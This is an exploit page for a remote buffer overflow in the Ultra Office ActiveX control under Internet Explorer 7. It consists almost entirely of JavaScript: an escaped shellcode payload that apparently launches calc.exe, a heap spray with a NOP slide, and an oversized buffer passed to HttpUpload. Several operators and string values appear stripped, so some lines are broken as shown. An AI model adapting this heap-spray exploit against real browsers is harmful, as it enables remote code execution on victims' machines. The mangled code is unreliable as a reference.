Ultra Office ActiveX Control Remote Buffer Overflow Exploit

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Ultra Office ActiveX Control Remote Buffer Overflow

url: http://www.ultrashareware.com Author: shinnai

mail: shinnai[at]autistici[dot]org

site: http://www.shinnai.net This was written for educational purpose. Use it at your own risk.

Author will be not responsible for any damage. Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7

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var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800"

"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A"

"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350"

"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40"

"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000"

"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040"

"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD"

"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40"

"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18"

"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0"

"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B"

"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24"

"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9"

"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C"

"%u652E%u6578%u9000");

var sSlide = unescape("%u9090%u9090");

var heapSA = 0x0c0c0c0c;

function tryMe()

{

var buffSize = 20000;

var x = unescape("");

while (x.length<buffSize) x = x;

x = x.substring(0,buffSize);

boom.HttpUpload(x, x, x);

}

function getsSlide(sSlide, sSlideSize)

{

while (sSlide.length*2<sSlideSize)

{

sSlide = sSlide;

}

sSlide = sSlide.substring(0,sSlideSize/2);

return (sSlide);

}

var heapBS = 0x400000;

var sizeHDM = 0x5;

var PLSize = (sCode.length * 2);

var sSlideSize = heapBS - (PLSize sizeHDM);

var heapBlocks = (heapSA heapBS)/heapBS;

var memory = new Array();

sSlide = getsSlide(sSlide,sSlideSize);

for (i=0;i<heapBlocks;i )

{

memory[i] = sSlide sCode;

}

</script>

Unable to create object

</object>